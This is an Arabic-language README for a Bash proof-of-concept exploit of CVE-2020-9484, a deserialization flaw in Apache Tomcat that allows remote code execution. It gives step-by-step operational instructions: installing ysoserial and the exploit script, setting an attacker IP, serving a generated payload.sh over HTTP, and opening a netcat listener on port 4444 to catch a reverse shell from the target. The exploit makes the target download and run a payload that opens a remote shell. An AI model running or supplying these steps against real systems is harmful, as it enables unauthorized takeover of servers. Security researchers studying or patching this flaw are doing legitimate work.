
إثبات المفهوم (proof-of-concept) مكتوب بلغة Bash لاستغلال الثغرة CVE-2020-9484، مما يتيح تنفيذ الأوامر عن بُعد على Apache Tomcat عبر إلغاء التسلسل غير الآمن في رفع الملفات، مع توليد حمولة شل عكسية.
Apache Tomcat 9.0.27 عرضة لتنفيذ التعليمات البرمجية عن بُعد مع CVE-ID CVE-2020-9484. قد تتأثر إصدارات أخرى أيضًا. تم اختباره على Kali 2020.4 و JDK 8. هذا النص bash هو دليل إثبات مفهوم بسيط. لأغراض تعليمية فقط.
تسمح الثغرة لمهاجم عن بُعد بتنفيذ تعليمات برمجية عشوائية على النظام المستهدف.
توجد الثغرة بسبب التحقق غير الآمن من الإدخال عند معالجة البيانات المسلسلة في أسماء الملفات المرفوعة. يمكن للمهاجم عن بُعد تمرير اسم ملف مصمم خصيصًا للتطبيق وتنفيذ تعليمات برمجية عشوائية على النظام المستهدف.
قد يؤدي استغلال هذه الثغرة بنجاح إلى اختراق كامل للنظام الضعيف، ولكنه يتطلب أن يكون الخادم مهيأً لاستخدام PersistenceManager مع FileStore وأن يعرف المهاجم مسار الملف النسبي من موقع التخزين.
لاستخدام النص، تحتاج إلى yoserial. لتثبيته:
cd /opt && git clone https://github.com/frohoff/ysoserial
cd /opt/ysoserial && wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-master.jar
إذا كان لديك yoserial مثبتًا بالفعل، تأكد من إعادة تسميته إلى "yosorial-master.jar".
لتثبيت النص، اكتب:
cd /opt && git clone https://github.com/PenTestical/CVE-2020-9484 && cd CVE-2020-9484/ && chmod +x CVE-2020-9484.sh
لفتح قائمة المساعدة، اكتب:
./CVE-2020-9484.sh --help
أو
./CVE-2020-9484.sh -h
أولاً، افتح النص وضع عنوان IP الخاص بك في السطر 14:
remote_ip="10.10.16.180" # change this
ينشئ هذا النص الملفات "payload.sh" و "downloadPayload.session" و "chmodPayload.session" و "executePayload.session" في نفس الدليل الذي تتواجد فيه حاليًا. لاستخدام الاستغلال، تحتاج إلى بدء مستمع بسيط على المنفذ 80. على سبيل المثال، الاستخدام مع Python3 (ابدأ في نفس المجلد الذي تشغل فيه النص):
sudo python3 -m http.server 80
أيضًا، تأكد من بدء مستمع netcat على المنفذ 4444:
nc -nvlp 4444
الآن قم بتشغيل النص مع عنوان IP للنظام المستهدف الذي تريد مهاجمته:
./CVE-2020-9484.sh target-ip
إذا لم يعمل، تأكد من استخدام JDK 8. لاختبار الإصدار الذي تستخدمه، اكتب:
java -version
قد لا يعمل على إصدار JDK 12 أو أعلى. اقرأ المزيد عنه هنا.